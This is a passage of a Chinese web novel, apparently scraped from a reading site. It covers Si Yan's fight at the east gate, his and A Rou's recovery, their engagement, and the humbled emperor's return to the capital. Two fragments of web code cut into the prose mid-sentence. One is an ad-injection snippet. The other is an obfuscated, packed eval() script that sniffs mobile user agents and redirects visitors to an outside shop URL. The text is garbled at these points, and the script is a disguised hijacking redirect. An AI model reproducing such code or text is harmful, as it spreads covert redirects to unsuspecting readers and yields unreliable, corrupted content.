李晁奚坐在主位之上,遥遥地道:“阿柔,我知道你现在一定有很多疑惑。但去东城门参战,是阿言他自己的意愿。” “是吗……”出人意料的,阿柔没再说什么,只是应道,“我知道了。” 阿柔微微垂眸,攥紧了拳头。 戚思彦有些担忧,伸出手抚了抚她的后背。 阿柔低声说道:“没事的,二哥,我知道他为什么会这样做。” 她当然明白司言为什么要选择跟随宁将军出城迎敌。 就像当初在西北宛阳城,他本可以对边境一战置身事外,却依旧义无反顾地站在城门前,以血肉之躯为西北铁骑杀出一条回家的通路。 而现在亦是如此。 看到阿柔浑身是血地被人从城门抬回来的时候,司言不愿意再躲在她的身后。 …… 司言自小便活在师父的殷切希望中。 为了将他推上至尊之位,师父授他武学技巧,又寻人教他政史策论。司言幼时没有玩乐,只有无穷无尽的学习。 至于兵书,他也读过许多,但却从未想过有朝一日会像现在这样,作为将士,亲身面对刀剑无眼的战场。 长祈城,东城门。两军对峙,斗争一触即发。 主将号令一下,众将立刻义无反顾地跟随着向前厮杀而去。 一瞬间尘烟弥漫,血洒郊野。 天地浩荡,人在其中显得如此渺小。 混乱的战争之中,人命又是如此轻贱,如此脆弱,如此微不足道。 这场战争的规模,远比一个月前的宛阳之战更加恢弘。司言置身其中,深深地感受到己身微薄。 身边不断有人倒下,不断有人死去,又不断有人挣扎着站起来,继续将刀剑挥向敌军。 一开始,司言的头脑还能做出清晰的判断,知道该如何规避从四面八方劈砍而来的攻势。但随着身上的伤痕越来越多,参战的时间越来越久,他逐渐感觉到呼吸不畅,头晕眼花。 这样漫长而看不到尽头的折磨,阿柔也曾受过一次。 也许只有将阿柔走过的路再走一遍,司言才能真正原谅当初那个一味自保、危难时刻又不能陪在阿柔身边的自己。 战争就像一头凶恶的巨兽,撕开城池最表层的光鲜,将这片领域之内的每一个人都蚕食殆尽。 直到日光散落,月色渐起之时,司言依旧仗剑苦苦支撑,即便浑身浴血、伤痕累累,也不甘心在此处倒下。 “我们之前总说,等一切事了,要做许多事情。我想,也许此战,便是终结了。” 阿柔曾说过的话萦绕在耳边。 是啊,待到平定叛乱,李晁奚的皇位将再无人可以撼动,届时便会依照约定重审天曜年间发生的大大小小的冤案,还他故渊门七十一名弟子的清白。 而后,他便可事了拂衣去①,再不管这繁琐纠结的俗事,与心上之人做一对眷侣,一同行到水穷处,坐看云起时②。 那样的日子,多好。 所以现在,他绝不会让自己殒命于此。 正是这般纯粹的想法,支撑着他熬过了漫长的厮杀。 而就在守城军将要力竭之时,远方黑夜之中突然出现了熊熊火光。 那火光十足耀眼,映得漆黑夜色也如白日一般明亮。司言被这突兀的暖色吸引,有一瞬的怔愣,理智陡然回笼,突然意识到了什么。 起火的方向,正是叛军驻扎的大营。 援军终于来了。 84. 休养 前日,叛军贼首得到消息——唐元思所率领的西南军已行至中部地区,大约还有六七日即可到达。 重伤初愈的云洛告诉薛重山,攻打长祈城一事已是不成了。叛军大势已去,不应继续在此处纠缠,而是退守河北地区,再行打算。 薛重山却不以为然,认为长祈城守城军早已是强弩之末,此时放弃攻城,前功尽弃不说,等之后边军回防中部,他们就再无机会了。 两人之间产生了难以调和的争执。最终,在军中声望更高的薛重山掌控了统领权,命全军上下背水一战,在西南军赶来之前放手一搏。 却不曾想,老将唐元思剑走偏锋,带领一支几百人的急行军,绕了一条掩人耳目的小道,于两军交战之际赶赴叛军大营。 此时叛军已决计要背水一战,后方只剩下些残兵败将。这几百人的小队没费什么功夫,就将留守大营的叛军屠了个干净,又生擒因受伤而留守大营的贼首云洛,继而一把火将军需物资烧了个干净。 所以,当薛重山奋战于长祈东城门之时,见到大营方向飘起火光,便知中了计,当即下令全军撤退。 仅仅一刻钟,叛军败退的消息就传到了主将营,营中众人皆是大喜过望,激动不已。 宋岳之汇报完前线战况,问道:“陛下,宁将军还在前线候命,是乘胜追击,还是退回城内?” 李晁奚沉着地回道:“不必再追,让将士们回城休整吧。” “是。”宋岳之领了旨意,飞快地离开了。 阿柔再也无法忍耐,强撑着伤痕累累的身躯,一瘸一拐地往外面走。 戚思彦心里一紧,望着她的背影,“阿柔,慢些,仔细身上的伤!” 阿柔没有回头,摆了摆手,示意二哥不必担心,随即便出了营帐。 戚思彦无奈地叹了口气。 …… 长祈城,东城门。 战事已经结束,城门口却是一副死气沉沉的光景,并未有多少战胜的欢欣鼓舞。 目光所见之处,全是身负重伤、精疲力竭的将士,无力地靠坐在墙边,等待着医师救治。 阿柔四处张望,寻着那心心念念的人影。 眼前不断有伤兵被人抬走,耳边不断有人发出凄厉的惨叫。阿柔找了一阵,越找越是心慌。 阿柔本就重伤未愈,依照大夫的嘱咐,原是不该四处奔走的。她感到四肢越来越沉重,头脑也有些不太清楚,额角不断生出冷汗,眼前甚至出现了重影。 不知找了多久,目光所到之处陡然出现一个熟悉的身影。 那人也遥遥望见了她。他们隔着人群,目光相触,皆是微微一怔。 司言拄着剑,连站立都略显艰难。 他现在的样子看起来实在算不上好——浑身上下都脏兮兮的,整个人如同从血海之中捞上来一般。阿柔分不清那刺眼的赤色究竟是他的血,还是别人的血。 两个人就是如此这般,艰难且跌撞地穿过人海,走到对方面前。 如此漫长而提心吊胆的分别,总算结束了。 司言还未来得及说话,膝下一软,向前栽倒。阿柔惊了一跳,想要去扶,却忘了自己也是个情况不妙的伤员,一个没站稳,和他一起摔在了地上。 身上痛感瞬时连成一片,阿柔忍不住倒吸了一口凉气。 司言的情况还要更糟糕一些,他受伤不轻,伤口又没有处理,此刻已然痛得麻木了,做不出任何反应。 阿柔强撑着想要扶他起来,却使不出什么力气,接连试了好几遍,急得快要冒火了,依然没能成功。 最后,还是路过的大夫瞧见二人的窘状,派人将他们抬回军医营去了。 这种狼狈不堪又滑稽可笑的经历,也许阿柔这辈子都碰不到几次。 回到军医营后,又是一阵兵荒马乱。傅昭见了阿柔,拉下脸来,想要训斥几句,却也说不出什么重话,只能忍着气将她按回床上,叫人给她重新包扎伤口,又悄悄在汤药里加了些助眠的药物。 而司言在被送回来的路上时,就已陷入了昏迷。他伤得很重,全身各处皆有损伤,甚至伤及了内脏。 李晁奚闻讯而来之时,傅昭仍在房内施救。医师进进出出,神色匆忙,端出来一盆又一盆的血水,触目惊心。 李晁奚和司言从来都是互相利用却又彼此猜忌的关系,但这一路走来,若说没有半分情谊,是不可能的。 他神情凝重地候在门外,心中也涌上几分名为紧张的情绪。 直到云飏前来通报,说唐将军已带兵入城,正在主将营外求见,李晁奚只得先行离开。 …… 李晁奚接见过唐元思后才知道,西南军的五万大军仍在赶来京城的路上。 唐元思仅带着几百急行军,便能智退叛军。这一计可谓是铤而走险,万一叛军并未被这场偷袭唬住,及时反应过来援军人数有异,长祈城未必能如此顺利地度过此劫。 三日后,西南军主力军队终于行至长祈。恰逢城外战场也清扫完毕,长祈城终于解锁了封闭状态,重新打开城门,并且严格审查进出之人的身份。 另外一边,司言终于挺过了最凶险的时刻,情况趋于稳定,阿柔和李晁奚等人逐渐放下心来。 而他的小徒弟张闻亦也幸运地在这场战事之中活了下来,甚至还立了几个小功。宁长衫很欣赏他,有意将他留在自己麾下。张闻亦自言会认真考虑这件事,并对宁将军的期许表示了感谢。 一切都在慢慢变好,一切都在重新步入正轨。 李晁奚负手立于城楼之上,心境相较一月之前已大不相同。 这座城池昔日繁华无边、灯市如昼、热闹非凡,如今却凄然萧索、歌哭重重、一片破败。 仅此一劫,大昭十余年来的盛世之景便成过往云烟。 李晁奚不知道自己要用多少年的光景才能让长祈城恢复旧日光彩,也许是一年、五年、十五年,又或是倾尽一生,也难以再现曾经的盛世浮华。 但固河山之本,挽大厦将倾之势,总要有人去做的。 他还年轻,他还有大把的时间,他相信他能做得很好,做得比当年年轻英明的李钰还要好。 千百年后,无人会知晓他李晁奚只是一介侍妾与侍卫私通的野种,而他的名姓,必然会留存在大昭群星闪耀的历史之上。 他一定能做到。 …… 司言恢复意识之时,觉得浑身上下像被巨轮碾过一样疼。只是稍微试着动了动,就疼得脸都白了,眼前一阵黑一阵白。 好不容易缓了过来,视线恢复清明,他便看到床边趴了个人。 阿柔只穿了一身白色的单衣,枕着手臂睡着了,露出半张脸来。她的呼吸很轻,浓密的睫毛一颤一颤的,看起来又可爱又乖巧,哪里还有半点战场之上叱咤风云的女将军的模样。 日光顺着窗框洒落进来,给她身形镀上一层暖色,更显恬静美好。 司言看着这一幕,心里软作一片,又觉情意涌动。若不是疼得动不了,真想凑上去亲亲她的脸颊。 就这样安静地看了好一会儿,司言总算开口唤道:“阿柔?阿柔……” 阿柔听到声音,悠悠转醒,看他醒来,既高兴又惊喜,“你醒啦。” 司言微笑着点了点头,“嗯。” “你在这躺一会儿,不要乱动,我去找傅昭来。”阿柔连忙站起身,小跑着离开了。 没过一会儿,她就把人带来了。 进门的时候,傅昭还在无奈地嘱咐着:“戚三小姐,在下都说过几回了,你的伤还未好全,实在不宜跑动……” “我知道了,傅公子,你先看看他的情况。”阿柔把傅昭带到司言身边。 傅昭叹了口气,只得无奈地坐在床边,给司言诊脉。 检查一番过后,傅昭说道:“司门主身体底子好,恢复得快,如今看来是脱离危险了,但仍需遵照医嘱好生调养才是,不然很容易落下病根。” 司言点头,“多谢傅公子。” 傅昭瞄了阿柔一眼,“还有戚三小姐,你也是。” 阿柔有些心虚地挪开视线。 傅昭又嘱托了几句,便离开了。 他走之后,司言躺在床上,看着阿柔眼下的乌青,有些心疼地道:“先前伤得那样重,怎么不好生歇着?” “前两日,你刚被送回来的时候失血过多,一条命差点都没有了。后面又起了高烧,怎么都降不下去,反反复复进了鬼门关好几遭,总算是捡回一条命来。”阿柔回想起前几日的情况,仍然有些心有余悸,“我总是提心吊胆的,害怕你的情况突然恶化,害怕一刻不留神,你就……” 阿柔没有再继续说下去了。 司言心中酸软一片,既为她的关心而感到甜蜜,又不舍得她为自己这般心力交瘁。想要去伸手抱一抱她,奈何伤势太重,难以动弹,最终只能伸出手捏了捏她的手指,轻声说道:“没事了,都结束了。” “是啊,都结束了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。”阿柔笑了一下,“这真是,最好的结果。” “嗯。” 二人微笑对视,一切尽不在言中了。 阿柔陪他说了会儿话,给他讲了讲那日城门大战之后发生的事情,讲到唐将军是如何以几百人的兵力智退敌兵,又生擒了叛军贼首之一云洛。 讲着讲着,司言躺在床上又迷迷糊糊地睡过去了。 阿柔见状,止了话语,给他盖好被子,又在原地坐了一会儿,才轻手轻脚地离开。 接下来的一段时间,两人因为重伤未愈,被李晁奚勒令着不许好好休养,不许四处乱跑。 阿柔和司言也就乐得清闲了,日日夜夜待在一处,似要把先前错过的温馨日常全都补回来。 两个人彼此照料,彼此陪伴,彼此解闷,度过了一段闲暇的养伤时光。 …… 长祈解除封锁的第七日,叶温遥回来了。 与此同时,他身边还跟了个所有人都意想不到的人——九公主李乐瑶。 乐瑶公主一身粗布衣裳,脏兮兮的长发随意挽起,整个人都瘦了一圈,脸色也憔悴了不少,哪里还看得出曾经骄矜尊贵的模样? 乐瑶见了戚思彦,立刻扑到他怀里面哭了起来,一边哭一边道歉,“彦哥,对不起,对不起……” 戚思彦立刻慌了,抱着她安慰道:“怎么了,乐瑶,为什么要道歉?” 只是乐瑶哭得太凶,根本听不清她在说什么。戚思彦只得把求助的目光落在叶温遥身上。 叶温遥解释道:“先帝弃城而逃那晚,九公主受诏入宫,被迷晕后强行带走。公主醒后,偷偷离开了皇家的队伍,往京城的方向走。但她从来没有一个人离开过长祈,回来的路上吃了许多苦,险些被人拐去了。还好故渊门暗桩及时发现,我就将公主带回来了。” 乐瑶道歉,是因为大战之际,她没能依照诺言,陪在戚思彦的身边。 戚思彦听得揪心不已,万分心疼,“我以为你离开长祈便可保性命无虞,没有去找你,是彦哥的错。” 他早该想到的,以乐瑶的性子,在被强行带走后,怎么可能一点反抗都没有? 一想到被人捧在手心里长大的小公主在路上吃了那么多苦,又差点被人拐去,戚思彦简直觉得心都要碎了,一阵阵后怕,恨自己当初为什么就不能多留个心眼。 叶温遥将人送到后,也没再多说什么,见二人久别重逢,情绪都相当激动,默默离开,转头去寻自家师弟去了。 …… 一推门,就见司言正靠坐在榻上喝药。 叶温遥进了门,语气还是一如既往的不着调,“小师弟,许久未见,有想我吗?” 司言看向他,顺着他的话调侃,“想啊,无时不想。” “得了吧。”叶温遥失笑,坐在他身边,“我听说你伤得很重?” “还好。”司言故作轻松,“还算幸运。” “幸运?你本可留在后方,不必亲自上前线去。结果却把自己搞成这个样子,小命差点都保不住了。”叶温遥没好气地道,“怎么,想过一回英雄的瘾?” “我算得上什么英雄?师兄可别拿我开玩笑了。”司言苦笑着摇了摇头,语调转而变得沉重起来,“夜兰的后事,师兄都办完了吧。” 叶温遥轻叹一声,低声说:“我把她的尸骨带回故渊门,葬在后山,立了块石碑。” 司言微微垂下眼睫,“这样也好,门中兄弟姐妹们时常能去看她,她不至于寂寞。” 空气有一瞬的沉默。 过了一会儿,司言率先开口:“李晁奚已自立为帝,他答应我会重审往日冤案。师兄,往后可有什么打算吗?” “我原是想问你的,结果你倒先问上我了。” “我啊……”司言沉吟片刻,半开玩笑似的说道,“若我说,我想当个甩手掌柜,抛下故渊门不管,游山玩水去,师兄可会骂我?” “当然不会。”叶温遥笑了笑,“你去游历四方、仗剑天涯,我便替你守着故渊门,这样岂不正好?” 司言微微一怔,“师兄,你是认真的?” “自然是认真的。”叶温遥目光坚定,似是早已做好了如此决定。 “师兄……” “不只是为了成全你,我也有自己的私心。”叶温遥打断了他的话语,眸中染上一抹哀色,语气却又是无可置疑的决然,“夜兰不在了,我会替她守好这个我们视之为家的地方,我会一直留在那里,陪着她。” 85. 本心 东城门大战一个月后,阿柔和司言伤势逐渐好转,转而投身于长祈城的恢复和重建工作中。 阿柔协助傅昭救治尚未痊愈的伤兵,司言则替陛下走访民间,安抚人心。 乐瑶也想帮上忙,而不仅仅只是观望着。 直到现在,乐瑶才终于意识到自己过去十余年都活在蜜罐之中,被养得骄矜自傲、不谙世事。当危难困苦真正到来的时候,她几乎做不到任何事情。 曾经的乐瑶,只知“英雄”威风,却不知此二字背后承担着何等重量。而今回望,过去的自己当真如同井底之蛙一般见识短浅。 她恨极了这样无能为力的自己。 许是察觉了乐瑶的情绪,戚思彦希望阿柔去军医营的时候能将她带上,哪怕让她帮上一点微不足道的忙也好。 阿柔欣然应允,让乐瑶跟在自己身边帮忙。 这次经历过后,乐瑶原本外放的性子明显收敛了许多。阿柔教她如何换药,如何包扎,乐瑶只是认真地听着,学会之后认真地做着,不嫌累也不嫌脏。军医营内几乎没人知道,这个笨手笨脚却格外认真的小娘子,便是昔日最受帝王宠爱的九公主李乐瑶。 困境催人成长,所有人皆是如此。 …… 及至入秋,天气转凉。因着伤病未愈的原因,阿柔平添了畏寒的毛病。 这日恰好不算繁忙,司言便约她去街市转一转,顺道添置些保暖些的衣物。 叛军攻城之前,城中一些人家提前探听到消息,带上家眷和积蓄望风而逃。如今的长祈街市,已不复从前那般喧闹繁华,只有零星的几家铺子还开着。 但也无妨,人多有人多的热闹,人少也有人少的清净。两人并肩行于街市之上,享受着这份来之不易的安宁。 阿柔一介女子,于大敌当前之际挺身而出,力战强敌的事迹早已传遍了长祈城的大街小巷,司言又经常帮着李晁奚寻访民情。二人走在街上,被不少百姓认了出来。 这些留守在长祈城的百姓,终日勤勤恳恳地围着自家之事,做些养家糊口的营生。也许他们一辈子都不能跃至青云,和那些权贵平起平坐,却无一不在为了生存于世而努力。 百姓们不懂权力相争,不懂朝廷时局,却知太平不易、生存不易,也知做人应当怀有感激之心。 这会儿阿柔和司言正逛着,有人认出他们,热情地同他们打招呼,阿柔便也笑着回应。 还有些人跑进自家屋内,取了些柴米油盐类的东西来,想要送给他们。阿柔当然不会收,耐心地和他们说了许多话,随后礼貌地拒绝了这些好意。 过了好一会儿,阿柔才和这些热情的百姓道了别。 司言走在她旁边,感慨着道:“早先便听闻长祈民风淳朴,一直未能体会,现在看来,真是这样。” “你来长祈少说也有两年了,现在才见识到?”阿柔双手抱臂,挑眉看他,“想来也是,你先前帮着陛下做事,又要算计这个,又要算计那个,顾不得这些琐事,倒也正常。” “嗯,是啊。”司言轻轻地笑了一下,垂眸道,“实在是,错过了许多。” “没关系,往后还有时间,便把过去没来得及做的事,都做一遍吧。”阿柔牵住他的手,笑意盈盈。 司言微微一愣,随即将手握得更紧了。 如此动作,丝毫不避着旁人的目光,引得注视连连、闲言不断。即便如此,二人依旧没有松开彼此相握的手。 也许从前,司言还会心有顾忌。唯恐当众做出肌肤相亲之事,会给阿柔招来麻烦。只是方才经历过生死一线的战局,心态比之从前,已是大不相同。 战场生死尚且不能将他们分离,世俗礼法与闲言碎语又算得了什么呢?他们二人之间的感情,生于对彼此的欣赏,又在不断的相处之中暗自滋长。倘若要因礼法约束而一味在外人面前避嫌,又该错过多少好时光? 才从鬼门关走过一遭,阿柔比以往任何时候都要珍惜这份感情,司言亦是如此。 就这样牵着手,二人拐进一家成衣铺。 掌柜见他们来,连忙上前迎接,指引着二人在店中挑选。 阿柔对衣着打扮没有太多要求,一贯是整洁舒适即可。但今日好不容易和司言一起上街来一趟,眼见着他兴致勃勃地给她挑这个挑那个的,阿柔照单全收,挨个拿去试衣间换了一遍。 待试过之后,阿柔问道:“怎么样,你觉得哪件好?” 司言仔细想了想,露出为难之色,“选不出来,我觉得都好看。” “都好看?”阿柔忍俊不禁,“我可没带那么多钱,司门主愿意破费,都给我买下来吗?” “未尝不可。”司言面带几分认真,似乎要来真的。 “行啦,若真如此,回去后二哥定要批评我浪费了。”阿柔赶紧阻止了他想要付钱的冲动,从从方才试过的衣服里选了几身,让掌柜的包好。 阿柔挑完自己的衣服,又选起男装来。 “阿柔是在为我选衣裳吗?”司言跟在她身后,拽了拽她的衣袖,懒洋洋地拖长了语调,随手指向不远处衣架上的成衣,“我想要那身,买给我吧。” 阿柔故意说道:“你误会了,我是在给二哥选呢。” “原来如此,是我自作多情了啊。”司言凑得更近了,一手揽住她的腰,将头埋在她颈窝处,轻声说道,“真的没我的份吗?” 脖子上能感受到他说话时传来的温热鼻息,有些痒痒的。 阿柔微微偏过头去,“没有。” “嗯?真的没有?”司言将她的腰搂得更紧了。 “你别这样……”阿柔将头垂得更低了。 不知是不是错觉,司言觉得她的身形似有微微颤抖,试探着道:“阿柔?嗯?别不好意思呀。” 下一秒,阿柔突然笑了起来,“哈哈哈,哈哈哈……你松手啊,好痒啊,哈哈……” 司言:“……” 掌柜的:“……” …… 这一趟出门,除却衣物之外,阿柔又买了好些零碎的物件。给二哥带些书卷墨宝,又给乐瑶带些胭脂粉黛。 彼时戚思彦正身披外氅,姿态慵懒地靠坐在回廊下,指导乐瑶练剑,见到阿柔他们,遥遥问道,“上街去了?” “是啊,二哥。你看看,这些是给你的。”阿柔小跑着过去,从大大小小的包裹中取出送给二哥的礼物来,献宝似的递给他。 戚思彦端详片刻,“嗯,是上好的墨宝,阿柔有心了。” 乐瑶也放下剑,凑了上来,见到阿柔给自己带的礼物,开心地抱住她,“谢谢你啦,阿柔。” 吩咐下人将东西收好后,戚思彦说道:“该是用晚膳的时辰了,阿言也留下来,吃过饭再走吧。” “哎。”司言也没客气,爽快地应了。 …… 窗外秋风席过,吹得林叶沙沙作响。屋中烧着炭火,暖意十足。 炉上煨酒,醇香四溢。案几上摆着三两家常小菜,热气腾腾。 算起来,上一次像这样围坐在一起热热闹闹地吃饭,还是在过年的时候。自那之后没多久,京中变故陡生。先是出了怀王状告李晁奚并非皇室血脉那档子事,而后西北边境开战,再后来便是林予哲起兵谋反。 无论哪一件,都是轰动朝野的大事。而它们偏生接踵而至,令人猝不及防,险些酿成难以逆转的大祸。 幸而如今,一切都将归于平静。 感受着这温馨而宁静的氛围,阿柔不免想起当日离开宛阳城时,阿爹曾说,待到战事平息,他们一家人总该好好地聚一聚。京城战局已了,却不知西北边境的情况如何了。 一想到此,阿柔就有些食不知味。 司言敏锐地注意到了这点,在她耳边低声问:“怎么了?” 阿柔摇了摇头,“只是有些放心不下西北的情况。” 她如今还有职衔在身,不可能像从前那样说走就走,一个人跑去西北边境探听情况,因而便更加焦虑。 “长祈如今恢复了与外界的联系,若西北情况有异,我会收到宛阳据点传回来的消息,届时会第一时间告知于你。”司言说道。 “险些忘了,我身边还有位遍知天下事的故渊门门主。”阿柔听他这么说,确实觉得安心了一些,“既是如此,那就谢过司门主啦。” “不过是举手之劳。”司言微笑着道。 戚思彦不动声色地看着两人间的相处,露出欣慰的笑意。 待用完饭菜之后,天色完全暗了下去。 戚思彦慵懒地坐在炉边,在烛光映照之下,更显眉眼温柔。 乐瑶靠着他,握着他有些发凉的指尖,在他耳边轻声问道:“彦哥,要不要再添些炭火?” 戚思彦摇了摇头,柔声说道:“我不冷,乐瑶给我暖暖手便好。” “嗯。”乐瑶乖巧地点头,两只白净小巧的手将他指尖包拢住,小心地暖着。 司言站起身来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13795145|130824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,准备告辞,“今日多谢戚二哥招待。” “哎,先别急着走。”戚思彦用眼神示意他坐下。 司言有些疑惑,却还是重新回到席间,等待着他接下来的话语。 待他坐下后,戚思彦顿了顿,开口道:“长祈战事已去,战后清扫和重建也完成了七七八八,你们两个的事情是不是该提上日程了?” 阿柔和司言闻之俱是一愣,“啊?” “啊什么啊,这么久过去了,你们就没想过成亲的事?”戚思彦的目光在二人之间来回盘旋,看得两个人莫名有些心虚。 “自是想过的。”司言有些不好意思地微微垂下眼睫,“只是一直没到合适的时机……” “那么现在呢,算不算得合适的时机?”戚思彦追问。 “现在……”司言似有疑虑,沉吟片刻,抬头道,“戚二哥,阿柔可同你讲过,我是何人?” “如果你是指身世的话,我是知道的。”戚思彦回答得不紧不慢。 司言苦笑一声,“我只怕此时与阿柔成亲,会累得景西王府被圣上猜疑。” 说来讽刺,司言身上流淌着前朝太子李焱的血脉,而如今高居皇位之人却是个侍妾与侍卫私通而来的私生子。虽然世上并没有多少人知晓此事,但司言和李晁奚二人对此心知肚明。 阿柔如今是圣上亲封昭武副尉,又背靠景西王府。圣上皇位未稳,二人若此时结亲,难保不会招来猜疑。 而戚思彦何等聪明之人,自然知道司言在顾虑什么,也知道他是在为景西王府考虑。不过,他也有自己的考量就是了。 戚思彦轻叹一口气,故作苦恼地道:“那怎么办,总不能让我妹妹一直等着你吧。” 司言一愣,继而急切地摆着手解释道:“不是的,戚二哥,我不想拖累阿柔……” “哦,这样吗。”戚思彦扶着下巴,作思考状,“阿柔早已过婚嫁之龄,婚事却仍未着落。每年祭祖之时,我可心虚得很呐。既然你说不愿拖累,那便好办了。改日,我再约上几个世家子弟,让他们和阿柔见一见,说不定,也就看上眼了……” 阿柔:“?” 司言:“!” 乐瑶没忍住笑出了声。 “这,这……”司言简直要语无伦次了,“戚二哥,这,这不行……” “有何不可?”戚思彦继续逗弄,“阿柔的大事,我这个做兄长的,怎么可能不着急呢?” “得了吧,二哥,先前几年也没见你着急过,怎么这会子却急起来了?”阿柔看着司言神情越来越惶恐,忍不住揭穿道。 “嗯?这就把胳膊肘往外拐啦?”戚思彦调侃。 “哪有。”阿柔笑了笑,转而看向司言,“阿言,自古以来,武将世家皆为天子忌惮,景西王府亦是如此。若要彻底断绝天子猜忌,除非……我族血脉尽皆凋零。但戚家的任何一个人,都不会允许这样的事发生。” 司言认真地听着。 “所以阿言,你不必担心与我成亲之后会牵连王府。婚姻也许是一些世家大族用以维系关系的手段,但绝不适用于你我,过去与未来亦不会有太大的差别。现在,你只需要听从你的本心就好。” 阿柔的笑容热切而温柔,她着司言,说出那句在心间酝酿了许久的话,“司门主,和我成亲吧。” “阿柔……” 司言回望着她,见她眉眼间春色流转、情意涌动,只觉浑身上下都沐在温和而柔软的日光之下,心头震颤不已。 听从本心……听从本心…… 过去二十多年,司言活在先人的阴影之中,不得自由。旁人或是敬他,或是畏他,或是利用他,却只有阿柔会为了他的“不自由”而疼惜他。 阿柔不止一次向他说过诸如“听从本心”这类的话,令他得以慢慢挣开枷锁,寻求天光。 因着“听从本心”,他放弃了师尊为他设计好的结局,放弃这令人艳羡的血脉。 因着“听从本心”,他决定驰援西北,助阵宛阳。 因着“听从本心”,他向李晁奚自告奋勇,奔赴东城门前线杀敌。 听从本心……多么好的词语。 这世上纵有万般道理,却往往抵不过这一条道理。 在阿柔热切期待,而又情意绵绵的目光之下,司言心中早就没了那些琐碎凌乱的弯弯绕绕。 分明是入秋时节,他却好似醉在了春光之中。 司言听见自己说道:“嗯,我们成亲。” 86. 归京 自那之后没过多久,某日,叶温遥带领了好些故渊门弟子,登临景西王府,运来了好几箱金银珠宝、丝绸布帛,以此作为聘礼,又将聘书代为转交,由此定下婚约。 如此豪奢的聘礼,声势浩大地运到景西王府来,引得城中百姓议论连连。仅仅一天,便传得街头巷尾全都知晓了。 此事闹得城中沸沸扬扬,有人赞他二人是天生一对的壁人,却也有人背地里嚼舌根,说什么景西王府家的小姐早过了婚配的年龄,成了人老珠黄的老英雄,这才不得已下嫁给一个无权无名的庶民。 不过,这些在背后碎嘴的人很快便被冠以“中伤朝廷命官”的罪名,请去大理寺做客了。 远在皇宫中的李晁奚听闻此事,也没多言,只是叫司言行事作风稍微低调一些。 而后,李晁奚亲自涉入此事,先是找人算了几个良辰吉日,再三挑选后,将二人婚期定在下月初二。看起来,似乎比两个新人还要着急。 至于他如此做的原因,阿柔心知肚明—— 当日长祈城四面楚歌、孤立无援,边军尚未来得及回防,朝中可用武将实在是少之又少。绝境之下,李晁奚封阿柔为昭武副尉,希望她能在战场上发挥最大的作用和价值。 而如今,守城一战得胜,西南将领唐元思带兵支援,大昭四方军队纷至,随时听凭天子号令。如此情境下,阿柔这个“昭武副尉”就显得有些多余。 她虽出身将门,熟读兵书,却无多少领兵经验。长祈危机已解,令她继续带兵,恐怕不妥。 何况戚家本就手握西北铁骑,戚家父子皆是战功赫赫、甚有威望的统领。如若继续将她留任军中,保不齐许多年后,她便会成长为如父兄一般不容小觑的名将。到那时,景西王府的势力就再也压不住了。 李晁奚不愿见到那样的局面,但作为天子,却也不能儿戏一般地直接收回“昭武副尉”的职衔——如此未免有过河拆桥之嫌。 但是现在,阿柔和司言订下婚约,那便好办了。李晁奚只需顺水推舟,促成这桩婚事,便可以“不愿拆散新婚夫妻”之名,将阿柔留在京中,只挂虚职,不给实权。 至于进军北境,清剿叛军残党一事,就交由其余武将去做好了。 阿柔明白李晁奚心里这些算计,却没有多说什么。她本就志不在沙场,更不愿给景西王府招致祸端,让二哥在京中的处境更加艰难。就算李晁奚不提,阿柔早晚也会辞去军中职衔。 在山林间自在惯了的野雀,可不愿被拘于条条框框的琐碎规矩之中。 …… 与此同时,京中又接二连三地发生了许多事。 先是叛军贼首之一云洛横死天牢之中。 关于此事,就连司言也不知道具体过程,只听说天子审讯时,云洛突然暴起,欲对李晁奚下手,最终死在侍卫乱刀之下。 李晁奚没能从他嘴里撬出更多关于叛军内部的情报秘闻,为数不多的几条也辨不出真假。一连几天,他的心情都不太妙,周围伺候的宫人皆是小心翼翼、心惊胆战的。 而后不久,李晁奚在朝会上封老将唐元思为平北侯,命其率部北上,收复河北地区,清剿北部残余的叛军势力。 又过几日,天子李钰归京。 昔日万人朝拜、无人敢违的天子,如今像是一条外强中干的丧家之犬。 奔波在外的日子里,李钰几乎夜夜都在做纷繁混乱的噩梦。有时梦见血流成河的长祈,万里枯骨,惟余哀哭;有时梦见叛军闯入他华美的宫殿,将他头颅斩下;有时梦见因战乱而丧命的冤魂哭嚎着向他索命…… 李钰不敢走主城门,更不敢面对长祈百姓。 离开长祈那日,李钰身边跟了许多宫妃臣子,队伍浩荡。而现在,跟着一同回京的人竟连原先的一半都不到。 就这样,李钰带着这支七零八落的队伍,狼狈而仓惶地从城北偏门溜进皇城。 …… 李钰以为自己的归来不会有宫人相迎之时,可就在进入宫城后,却陡然看见早就候在门口的李晁奚。 李晁奚身后跟着十余位臣子,毫无征兆地出现在李钰面前。 随后,在李钰惊愕的目光之下,李晁奚带领众臣跪下,叩首行礼,“儿臣恭迎父皇回宫。” “恭迎陛下回宫!” 李钰觑着这一幕,内心十分复杂,“都起来吧。” “谢陛下!” 李晁奚稍作打量——随行队伍之中并未见到怀王,也没见到梁相。 他不动声色地收回视线,面上仍旧一片恭敬,“儿臣特意设下宴席,为父皇接风洗尘,还请父皇赏脸。” 李钰心里七上八下,看着李晁奚波澜不惊的神情,只觉越发看不透这个“儿子”。 当初离开京城之时,李钰原是打算带上他一起走的。哪知李晁奚嘴上应承,却并未如约随行,反而趁此机会自立为帝。 大军将至,危难关头,他李晁奚想的竟然不是如何保全性命,而是如何夺走这江山! 当真是细思极恐…… 李晁奚能有如此算计,现今却扮作一副温良孝顺的模样,又存的是什么心思? 李钰无法不多想,只能硬着头皮回答:“好。” …… 及至宫殿,李晁奚将李钰迎至上座。 宫人添上酒水菜肴,一场各怀心思的宴席就此开始。 李钰头一回在宫宴上感到如坐针毡,既要应付众臣问候,又要应付李晁奚不知真情还是假意的关怀。 席间,李晁奚突然开口问道:“父皇,怎么不见二皇兄同您一起回来?” 